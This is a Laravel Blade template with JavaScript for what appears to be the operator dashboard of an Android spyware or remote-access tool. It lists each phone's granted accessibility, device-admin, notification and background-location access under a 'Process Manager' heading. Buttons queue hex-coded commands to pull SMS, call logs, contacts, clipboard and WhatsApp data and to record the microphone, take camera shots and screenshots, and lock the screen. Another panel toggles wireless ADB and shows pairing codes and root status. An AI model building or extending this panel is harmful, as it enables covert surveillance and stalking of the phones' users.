@php
    use App\Services\DeviceInfoService;
    $d = $pageData['device'];
    $online = $pageData['online'];
    $services = $pageData['services'];
    $hw = $pageData['hardware'];
    $storage = $pageData['storage'];
    $tel = $pageData['telephony'];
    $net = $pageData['network'];
    $env = $pageData['environment'];
    $stats = $pageData['stats'];
    $last = $pageData['last_sync'];
    $tz = config('app.timezone');
    $wd = is_array($pageData['wireless_debug'] ?? null) ? $pageData['wireless_debug'] : [];
    $wdEnabled = array_key_exists('enabled', $wd) ? (bool) $wd['enabled'] : null;
    $ra = is_array($pageData['remote_action'] ?? null) ? $pageData['remote_action'] : [];
@endphp

<div class="flex flex-wrap items-center gap-3 mb-6">
    <span class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium {{ $online ? 'bg-green-100 text-green-800' : 'bg-gray-200 text-gray-600' }}">
        {{ $online ? __('devices.online') : __('devices.offline') }}
    </span>
    @if($pageData['pending_commands'] > 0)
        <span class="text-xs text-amber-700 bg-amber-50 border border-amber-200 px-2 py-1 rounded">
            {{ __('devices.info.pending_commands', ['count' => $pageData['pending_commands']]) }}
        </span>
    @endif
    @if($pageData['device_info_at'])
        <span class="text-xs text-gray-500">
            {{ __('devices.info.snapshot_at') }} {{ $pageData['device_info_at']->timezone($tz)->format('d/m/Y H:i') }}
        </span>
    @endif
</div>

{{-- Dispositivo --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_device') }}</h4>
<dl class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 text-sm mb-8">
    <div><dt class="font-medium text-gray-500">{{ __('devices.device_id') }}</dt><dd class="font-mono">{{ $d->device_id }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.manufacturer') }}</dt><dd>{{ $d->manufacturer ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.model') }}</dt><dd>{{ $d->model ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">Android</dt><dd>{{ $d->android_version ?? '—' }} @if($hw['android_sdk'])<span class="text-gray-400">(API {{ $hw['android_sdk'] }})</span>@endif</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.security_patch') }}</dt><dd>{{ $hw['security_patch'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.app_version') }}</dt><dd>{{ $hw['app_version'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">IP</dt><dd class="font-mono">{{ $d->client_ip ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.first_seen') }}</dt><dd>{{ $d->first_seen_at?->timezone($tz)->format('d/m/Y H:i:s') ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.last_seen') }}</dt><dd>{{ $d->last_seen_at?->timezone($tz)->format('d/m/Y H:i:s') ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.uptime') }}</dt><dd>{{ DeviceInfoService::formatUptime($hw['uptime_ms']) }}</dd></div>
    <div><dt class="font-medium text-gray-500">GPS automático</dt><dd>{{ $pageData['gps_interval'] }} s <span class="text-gray-400 text-xs">(0 = off)</span></dd></div>
</dl>

{{-- Servicios Process Manager --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_services') }}</h4>
<div class="grid grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-2 mb-8">
    @foreach([
        'usage_access' => __('devices.info.svc_usage'),
        'accessibility' => __('devices.info.svc_accessibility'),
        'notification_listener' => __('devices.info.svc_notifications'),
        'device_admin' => __('devices.info.svc_admin'),
        'location' => __('devices.info.svc_location'),
        'background_location' => __('devices.info.svc_bg_location'),
    ] as $key => $label)
        <div class="rounded-lg border px-3 py-2 text-center text-xs {{ ($services[$key] ?? false) ? 'border-green-300 bg-green-50 text-green-800' : 'border-red-200 bg-red-50 text-red-700' }}">
            <span class="block font-semibold">{{ ($services[$key] ?? false) ? '✓' : '✗' }}</span>
            {{ $label }}
        </div>
    @endforeach
</div>

{{-- Acciones remotas --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_remote_actions') }}</h4>
<div class="rounded-lg border border-indigo-200 bg-indigo-50/50 px-4 py-4 mb-8" id="ra-panel">
    <p class="text-xs text-indigo-900/80 mb-3">{{ __('devices.info.remote_actions_hint') }}</p>
    <div class="grid grid-cols-2 sm:grid-cols-3 lg:grid-cols-4 gap-2 mb-3">
        @foreach([
            ['type' => '0xLO', 'label' => __('devices.info.ra_gps'), 'icon' => '📍'],
            ['type' => '0xWI', 'label' => __('devices.info.ra_wifi'), 'icon' => '📶'],
            ['type' => '0xRA', 'action' => 'device_info', 'label' => __('devices.info.ra_device_info'), 'icon' => '📱'],
            ['type' => '0xPM', 'label' => __('devices.info.ra_permissions'), 'icon' => '🔐'],
            ['type' => '0xIN', 'label' => __('devices.info.ra_apps'), 'icon' => '📦'],
            ['type' => '0xSM', 'action' => 'ls', 'label' => __('devices.info.ra_sms'), 'icon' => '💬'],
            ['type' => '0xCL', 'label' => __('devices.info.ra_calls'), 'icon' => '📞'],
            ['type' => '0xCO', 'label' => __('devices.info.ra_contacts'), 'icon' => '👤'],
            ['type' => '0xMI', 'sec' => 10, 'label' => __('devices.info.ra_mic'), 'icon' => '🎙'],
            ['type' => '0xCA', 'label' => __('devices.info.ra_camera'), 'icon' => '📷'],
            ['type' => '0xRA', 'action' => 'screenshot_now', 'label' => __('devices.info.ra_screenshot'), 'icon' => '🖼'],
            ['type' => '0xRA', 'action' => 'whatsapp_scan', 'label' => __('devices.info.ra_whatsapp'), 'icon' => '💚'],
            ['type' => '0xRA', 'action' => 'lock_screen', 'label' => __('devices.info.ra_lock'), 'icon' => '🔒', 'confirm' => __('devices.info.ra_lock_confirm')],
        ] as $btn)
            <button type="button"
                    class="ra-btn flex items-center gap-2 px-3 py-2 rounded-md text-sm font-medium bg-white border border-indigo-200 text-indigo-900 hover:bg-indigo-100 disabled:opacity-50 text-left"
                    data-type="{{ $btn['type'] }}"
                    @if(!empty($btn['action'])) data-action="{{ $btn['action'] }}" @endif
                    @if(!empty($btn['sec'])) data-sec="{{ $btn['sec'] }}" @endif
                    @if(!empty($btn['confirm'])) data-confirm="{{ $btn['confirm'] }}" @endif>
                <span>{{ $btn['icon'] }}</span>
                <span>{{ $btn['label'] }}</span>
            </button>
        @endforeach
    </div>
    <p id="ra-status" class="text-xs text-indigo-800 min-h-[1.25rem]">
        @if(!empty($ra['message']))
            {{ $ra['message'] }}
        @endif
    </p>
</div>

{{-- Hardware / batería / almacenamiento --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_hardware') }}</h4>
<dl class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4 text-sm mb-8">
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.battery') }}</dt>
        <dd>
            @if($hw['battery_percent'] !== null)
                {{ $hw['battery_percent'] }}%
                @if($hw['battery_charging']) <span class="text-green-600">({{ __('devices.info.charging') }})</span> @endif
            @else — @endif
        </dd>
    </div>
    <div><dt class="font-medium text-gray-500">RAM</dt><dd>{{ DeviceInfoService::formatMb($hw['ram_free_mb']) }} / {{ DeviceInfoService::formatMb($hw['ram_total_mb']) }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.storage') }}</dt><dd>{{ DeviceInfoService::formatMb($storage['internal_free_mb']) }} {{ __('devices.info.free_of') }} {{ DeviceInfoService::formatMb($storage['internal_total_mb']) }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.screen') }}</dt><dd>{{ ($hw['screen_on'] ?? null) === null ? '—' : ($hw['screen_on'] ? __('devices.info.screen_on') : __('devices.info.screen_off')) }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.locale') }}</dt><dd>{{ $env['locale'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.timezone') }}</dt><dd>{{ $env['timezone'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.battery_saver') }}</dt><dd>{{ ($env['battery_saver'] ?? null) === null ? '—' : ($env['battery_saver'] ? __('devices.info.yes') : __('devices.info.no')) }}</dd></div>
</dl>

{{-- Red y telefonía --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_network') }}</h4>
<dl class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 text-sm mb-8">
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.connection') }}</dt><dd>{{ $net['connection'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">WiFi</dt><dd>{{ $net['wifi_ssid'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.local_ip') }}</dt><dd class="font-mono">{{ $net['local_ip'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.operator') }}</dt><dd>{{ $tel['operator'] ?? $tel['sim_operator'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.phone') }}</dt><dd>{{ $tel['phone_number'] ?? '—' }}</dd></div>
    <div><dt class="font-medium text-gray-500">{{ __('devices.info.roaming') }}</dt><dd>{{ ($tel['country_iso'] ?? null) ? strtoupper($tel['country_iso']) : '—' }} @if(isset($net['roaming'])) / {{ $net['roaming'] ? __('devices.info.yes') : __('devices.info.no') }} @endif</dd></div>
</dl>

{{-- Depuración inalámbrica --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_wireless_debug') }}</h4>
<div class="rounded-lg border border-slate-200 bg-slate-50 px-4 py-4 mb-8" id="wd-panel">
    <p class="text-xs text-slate-600 mb-3">{{ __('devices.info.wireless_debug_hint') }}</p>
    <div class="flex flex-wrap items-center gap-2 mb-4">
        <span id="wd-badge"
              class="inline-flex items-center px-2.5 py-1 rounded-full text-xs font-medium
                     {{ $wdEnabled === true ? 'bg-green-100 text-green-800' : ($wdEnabled === false ? 'bg-gray-200 text-gray-700' : 'bg-amber-50 text-amber-800') }}">
            {{ $wdEnabled === true ? __('devices.info.wireless_debug_enabled') : ($wdEnabled === false ? __('devices.info.wireless_debug_disabled') : __('devices.info.wireless_debug_unknown')) }}
        </span>
        <button type="button" id="wd-toggle"
                class="px-3 py-1.5 rounded-md text-sm font-medium bg-indigo-600 text-white hover:bg-indigo-700 disabled:opacity-50">
            {{ __('devices.info.wireless_debug_toggle') }}
        </button>
        <button type="button" id="wd-refresh"
                class="px-3 py-1.5 rounded-md text-sm font-medium bg-white border border-gray-300 text-gray-700 hover:bg-gray-50 disabled:opacity-50">
            {{ __('devices.info.wireless_debug_refresh') }}
        </button>
        <span id="wd-status" class="text-xs text-slate-500"></span>
    </div>
    <dl class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-3 text-sm">
        <div>
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_root') }}</dt>
            <dd id="wd-root">{{ isset($wd['root_available']) ? ($wd['root_available'] ? __('devices.info.yes') : __('devices.info.no')) : '—' }}</dd>
        </div>
        <div>
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_ip') }}</dt>
            <dd class="font-mono" id="wd-ip">{{ $wd['ip'] ?? ($net['local_ip'] ?? '—') }}</dd>
        </div>
        <div>
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_port') }}</dt>
            <dd class="font-mono" id="wd-port">{{ $wd['port'] ?? '—' }}</dd>
        </div>
        <div>
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_pairing_port') }}</dt>
            <dd class="font-mono" id="wd-pair-port">{{ $wd['pairing_port'] ?? '—' }}</dd>
        </div>
        <div>
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_pairing_code') }}</dt>
            <dd class="font-mono text-lg tracking-widest" id="wd-pair-code">{{ $wd['pairing_code'] ?? '—' }}</dd>
        </div>
        <div class="md:col-span-2 lg:col-span-2">
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_adb_connect') }}</dt>
            <dd class="font-mono text-xs break-all bg-white border border-gray-200 rounded px-2 py-1 mt-1" id="wd-adb-connect">{{ $wd['adb_connect'] ?? '—' }}</dd>
        </div>
        <div class="md:col-span-2 lg:col-span-3">
            <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_adb_pair') }}</dt>
            <dd class="font-mono text-xs break-all bg-white border border-gray-200 rounded px-2 py-1 mt-1" id="wd-adb-pair">{{ $wd['adb_pair'] ?? '—' }}</dd>
        </div>
        @if(!empty($wd['note']))
            <div class="md:col-span-2 lg:col-span-3">
                <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_note') }}</dt>
                <dd class="text-amber-800 text-xs" id="wd-note">{{ $wd['note'] }}</dd>
            </div>
        @else
            <div class="md:col-span-2 lg:col-span-3 hidden" id="wd-note-wrap">
                <dt class="font-medium text-gray-500">{{ __('devices.info.wireless_debug_note') }}</dt>
                <dd class="text-amber-800 text-xs" id="wd-note"></dd>
            </div>
        @endif
    </dl>
</div>

@if($pageData['foreground'])
    <div class="rounded-lg border border-indigo-200 bg-indigo-50 px-4 py-2 mb-8 text-sm">
        <span class="text-indigo-800 font-medium">{{ __('devices.apps.foreground') }}</span>
        {{ $pageData['foreground']->app_name ?? $pageData['foreground']->package_name }}
    </div>
@endif

{{-- Resumen actividad --}}
<h4 class="font-medium text-gray-800 mb-3">{{ __('devices.info.section_activity') }}</h4>
<div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(100px,1fr));gap:10px;margin-bottom:16px">
    @foreach([
        ['sms_today', __('devices.pages.sms'), 'sms'],
        ['calls_today', __('devices.pages.calls'), 'calls'],
        ['gps_points_today', 'GPS', 'gps'],
        ['app_events_today', __('devices.pages.apps'), 'apps'],
        ['notifications', __('devices.pages.notifications'), 'notifications'],
        ['clipboard', __('devices.pages.clipboard'), 'clipboard'],
    ] as [$key, $label, $route])
        <a href="{{ route('devices.manage', [$d, $route]) }}" class="rounded-lg border border-gray-200 bg-white p-3 text-center hover:border-indigo-300 block">
            <p class="text-lg font-semibold text-indigo-600">{{ $stats[$key] ?? 0 }}</p>
            <p class="text-xs text-gray-500">{{ $label }}</p>
        </a>
    @endforeach
</div>
<dl class="grid grid-cols-1 md:grid-cols-2 gap-x-8 gap-y-1 text-xs text-gray-600 mb-8">
    <div><span class="text-gray-500">SMS total:</span> {{ $stats['sms_total'] }} · último {{ $last['sms']?->timezone($tz)->format('d/m H:i') ?? '—' }}</div>
    <div><span class="text-gray-500">Llamadas total:</span> {{ $stats['calls_total'] }} · último {{ $last['calls']?->timezone($tz)->format('d/m H:i') ?? '—' }}</div>
    <div><span class="text-gray-500">Contactos:</span> {{ $stats['contacts'] }}</div>
    <div><span class="text-gray-500">Apps usuario:</span> {{ $stats['apps_user'] }} / {{ $stats['apps_total'] }}</div>
    <div><span class="text-gray-500">GPS último:</span> {{ $last['gps']?->timezone($tz)->format('d/m H:i') ?? '—' }}</div>
    <div><span class="text-gray-500">WiFi informe:</span> {{ $last['wifi']?->timezone($tz)->format('d/m H:i') ?? '—' }}</div>
</dl>

<p class="text-xs text-gray-500">{{ __('devices.info.footer_hint') }}</p>

@push('scripts')
<script>
(function () {
    const csrf = @json(csrf_token());
    const cmdUrl = @json(route('devices.commands', $d));
    const statusUrl = @json(route('devices.wireless-debug.status', $d));
    const online = @json($online);
    const i18n = {
        waiting: @json(__('devices.info.wireless_debug_waiting')),
        offline: @json(__('devices.info.wireless_debug_offline')),
        error: @json(__('devices.info.wireless_debug_error')),
        updated: @json(__('devices.info.wireless_debug_updated')),
        enabled: @json(__('devices.info.wireless_debug_enabled')),
        disabled: @json(__('devices.info.wireless_debug_disabled')),
        unknown: @json(__('devices.info.wireless_debug_unknown')),
    };

    const toggleBtn = document.getElementById('wd-toggle');
    const refreshBtn = document.getElementById('wd-refresh');
    const statusEl = document.getElementById('wd-status');
    const badgeEl = document.getElementById('wd-badge');
    let pollTimer = null;
    let pollStartedAt = 0;

    function setBusy(busy) {
        toggleBtn.disabled = busy;
        refreshBtn.disabled = busy;
    }

    function setText(id, value) {
        const el = document.getElementById(id);
        if (el) {
            el.textContent = value ?? '—';
        }
    }

    function renderData(data) {
        if (!data || typeof data !== 'object') {
            return;
        }
        const enabled = data.enabled;
        if (enabled === true) {
            badgeEl.textContent = i18n.enabled;
            badgeEl.className = 'inline-flex items-center px-2.5 py-1 rounded-full text-xs font-medium bg-green-100 text-green-800';
        } else if (enabled === false) {
            badgeEl.textContent = i18n.disabled;
            badgeEl.className = 'inline-flex items-center px-2.5 py-1 rounded-full text-xs font-medium bg-gray-200 text-gray-700';
        } else {
            badgeEl.textContent = i18n.unknown;
            badgeEl.className = 'inline-flex items-center px-2.5 py-1 rounded-full text-xs font-medium bg-amber-50 text-amber-800';
        }
        setText('wd-ip', data.ip);
        setText('wd-port', data.port);
        setText('wd-pair-port', data.pairing_port);
        setText('wd-pair-code', data.pairing_code);
        setText('wd-adb-connect', data.adb_connect);
        setText('wd-adb-pair', data.adb_pair);
        setText('wd-root', data.root_available === true ? 'Sí' : (data.root_available === false ? 'No' : '—'));
        const noteWrap = document.getElementById('wd-note-wrap');
        const noteEl = document.getElementById('wd-note');
        if (data.note) {
            if (noteWrap) noteWrap.classList.remove('hidden');
            if (noteEl) noteEl.textContent = data.note;
        } else if (noteWrap) {
            noteWrap.classList.add('hidden');
        }
    }

    async function fetchStatus() {
        const res = await fetch(statusUrl, { headers: { 'Accept': 'application/json' } });
        if (!res.ok) return null;
        const json = await res.json();
        return json.data ?? null;
    }

    function stopPoll() {
        if (pollTimer) {
            clearInterval(pollTimer);
            pollTimer = null;
        }
    }

    function startPoll(sinceMs) {
        stopPoll();
        pollStartedAt = Date.now();
        pollTimer = setInterval(async () => {
            try {
                const data = await fetchStatus();
                if (data && (data.reported_at ?? 0) >= sinceMs) {
                    renderData(data);
                    statusEl.textContent = i18n.updated;
                    setBusy(false);
                    stopPoll();
                } else if (Date.now() - pollStartedAt > 90000) {
                    statusEl.textContent = i18n.error;
                    setBusy(false);
                    stopPoll();
                }
            } catch {
                statusEl.textContent = i18n.error;
                setBusy(false);
                stopPoll();
            }
        }, 2000);
    }

    async function sendWdCommand(action) {
        setBusy(true);
        statusEl.textContent = online ? i18n.waiting : i18n.offline;
        const sinceMs = Date.now();
        try {
            const res = await fetch(cmdUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Accept': 'application/json',
                    'X-CSRF-TOKEN': csrf,
                },
                body: JSON.stringify({ type: '0xWD', action }),
            });
            const json = await res.json();
            if (!res.ok || json.error) {
                statusEl.textContent = json.message || i18n.error;
                setBusy(false);
                return;
            }
            startPoll(sinceMs);
        } catch {
            statusEl.textContent = i18n.error;
            setBusy(false);
        }
    }

    toggleBtn?.addEventListener('click', () => sendWdCommand('toggle'));
    refreshBtn?.addEventListener('click', () => sendWdCommand('status'));
    const raStatusUrl = @json(route('devices.remote-action.status', $d));
    const raStatusEl = document.getElementById('ra-status');
    const raButtons = document.querySelectorAll('.ra-btn');
    let raPollTimer = null;
    const raI18n = {
        queued: @json(__('devices.info.ra_queued')),
        offline: @json(__('devices.info.ra_offline')),
        error: @json(__('devices.info.ra_error')),
        waiting: @json(__('devices.info.ra_waiting')),
        done: @json(__('devices.info.ra_done')),
    };

    function setRaBusy(busy) {
        raButtons.forEach((btn) => { btn.disabled = busy; });
    }

    function stopRaPoll() {
        if (raPollTimer) {
            clearInterval(raPollTimer);
            raPollTimer = null;
        }
    }

    async function fetchRaStatus() {
        const res = await fetch(raStatusUrl, { headers: { 'Accept': 'application/json' } });
        if (!res.ok) return null;
        const json = await res.json();
        return json.data ?? null;
    }

    function startRaPoll(sinceMs, expectedAction) {
        stopRaPoll();
        const started = Date.now();
        raPollTimer = setInterval(async () => {
            try {
                const data = await fetchRaStatus();
                if (data && data.action === expectedAction && (data.reported_at ?? 0) >= sinceMs) {
                    raStatusEl.textContent = data.message || raI18n.done;
                    setRaBusy(false);
                    stopRaPoll();
                } else if (Date.now() - started > 90000) {
                    raStatusEl.textContent = raI18n.error;
                    setRaBusy(false);
                    stopRaPoll();
                }
            } catch {
                raStatusEl.textContent = raI18n.error;
                setRaBusy(false);
                stopRaPoll();
            }
        }, 2000);
    }

    raButtons.forEach((btn) => {
        btn.addEventListener('click', async () => {
            const confirmMsg = btn.dataset.confirm;
            if (confirmMsg && !window.confirm(confirmMsg)) {
                return;
            }
            setRaBusy(true);
            raStatusEl.textContent = online ? raI18n.waiting : raI18n.offline;
            const sinceMs = Date.now();
            const body = { type: btn.dataset.type };
            if (btn.dataset.action) {
                body.action = btn.dataset.action;
            }
            if (btn.dataset.type === '0xSM') {
                body.action = btn.dataset.action || 'ls';
            }
            if (btn.dataset.type === '0xMI') {
                body.sec = parseInt(btn.dataset.sec || '10', 10);
            }
            try {
                const res = await fetch(cmdUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'Accept': 'application/json',
                        'X-CSRF-TOKEN': csrf,
                    },
                    body: JSON.stringify(body),
                });
                const json = await res.json();
                if (!res.ok || json.error) {
                    raStatusEl.textContent = json.message || raI18n.error;
                    setRaBusy(false);
                    return;
                }
                if (btn.dataset.type === '0xRA') {
                    startRaPoll(sinceMs, btn.dataset.action);
                } else {
                    raStatusEl.textContent = raI18n.queued;
                    setRaBusy(false);
                }
            } catch {
                raStatusEl.textContent = raI18n.error;
                setRaBusy(false);
            }
        });
    });
})();
</script>
@endpush